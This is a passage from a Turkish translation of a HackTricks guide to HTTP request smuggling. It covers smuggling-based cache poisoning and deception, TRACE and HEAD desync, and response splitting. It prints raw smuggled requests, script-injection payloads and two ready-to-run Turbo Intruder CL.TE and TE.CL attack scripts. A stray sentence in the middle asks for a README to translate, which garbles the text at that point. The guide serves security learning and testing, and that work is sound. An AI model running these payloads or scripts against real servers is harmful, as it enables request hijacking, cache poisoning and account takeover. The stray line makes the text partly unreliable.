- web cache poisoning'de, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler kaydetmesine neden olur ve bu içerikler önbellekten diğer uygulama kullanıcılarına servis edilir.
- web cache deception'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe almasını sağlar ve ardından bu içeriği önbellekten alır.
Saldırgan, hassas kullanıcıya özel içeriği getiren bir smuggled request hazırlar. Aşağıdaki örneği inceleyin:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Eğer bu smuggled request, statik içerik için ayrılmış bir önbellek girdisini (ör. /someimage.png
) zehirlerse, mağdurun /private/messages
içindeki hassas verileri statik içeriğin önbellek girdisi altında saklanmış olabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verileri elde edebilir.
TRACE'i HTTP Request Smuggling ile kötüye kullanma
In this post öneriyor ki sunucuda TRACE metodu etkinse, HTTP Request Smuggling ile kötüye kullanmak mümkün olabilir. Bunun nedeni, bu metodun sunucuya gönderilen herhangi bir header'ı yanıtın gövdesinde yansıtmasıdır. Örneğin:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Lütfen çevirisini istediğiniz README.md içeriğini buraya yapıştırın. Kod blokları, bağlantılar ve özel etiketler olduğu gibi korunarak Türkçeye çevrilecektir.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Bu davranışın kötüye kullanımına bir örnek olarak smuggle first a HEAD request yapılabilir. Bu isteğe yalnızca bir GET isteğinin headers'ı ile cevap verilecektir (bunların arasında Content-Type
de vardır). Ve HEAD'tan hemen sonra smuggle immediately after the HEAD a TRACE request gönderilir; bu, gönderilen veriyi yansıtacaktır.
HEAD yanıtı bir Content-Length
header'ı içereceğinden, TRACE isteğinin yanıtı HEAD yanıtının gövdesiymiş gibi işlenecek ve böylece yanıtta rastgele veriler yansıtılabilecektir.
Bu yanıt bağlantı üzerindeki sonraki isteğe gönderilecektir; bu nedenle örneğin önbelleğe alınmış bir JS dosyasında rastgele JS kodu enjekte etmek için kullanılabilir.
TRACE'ı HTTP Response Splitting yoluyla kötüye kullanma
Takip etmeniz önerilen bu yazı, TRACE metodunun başka bir kötüye kullanım yolunu anlatıyor. Belirtildiği gibi, bir HEAD isteği ve bir TRACE isteği smuggle edilerek HEAD yanıtındaki bazı yansıtılmış veriler kontrol edilebilir. HEAD isteğinin gövdesinin uzunluğu temelde Content-Length
header'ında belirtilir ve TRACE isteğinin yanıtı tarafından oluşturulur.
Bu nedenle yeni fikir şu: bu Content-Length
değerini ve TRACE yanıtında verilen veriyi bildiğinizde, TRACE yanıtının Content-Length
'ın son baytından sonra geçerli bir HTTP yanıtı içermesini sağlayabilirsiniz; böylece bir saldırgan sonraki yanıt için yapılacak isteği tamamen kontrol edebilir (bu, cache poisoning gerçekleştirmek için kullanılabilir).
Örnek:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Aşağıdaki yanıtları üretecek (HEAD yanıtının Content-Length'e sahip olması sayesinde TRACE yanıtının HEAD gövdesinin bir parçası haline gelmesine ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtının smuggled olmasına dikkat edin):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
HTTP Request Smuggling'ı HTTP Response Desynchronisation ile silahlandırma
HTTP Request Smuggling zafiyeti mi buldunuz ve nasıl sömüreceğinizi bilmiyor musunuz? Bu diğer sömürü yöntemlerini deneyin:
HTTP Response Smuggling / Desync
Diğer HTTP Request Smuggling teknikleri
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scriptleri
CL.TE
Kaynak: https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Kaynak: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Araçlar
- HTTP Hacker (Burp BApp Store) – birleştirme/çerçeveleme ve düşük seviyeli HTTP davranışını görselleştirir
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Özel Eylem "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Bu araç, gramer tabanlı bir HTTP Fuzzer olup garip request smuggling tutarsızlıklarını bulmak için kullanışlıdır.
Referanslar
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Yanlış false‑positive uyarısına dikkat: HTTP pipelining ile request smuggling arasındaki fark nasıl ayırt edilir – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Tarayıcı Tabanlı Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – istemci tarafı desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.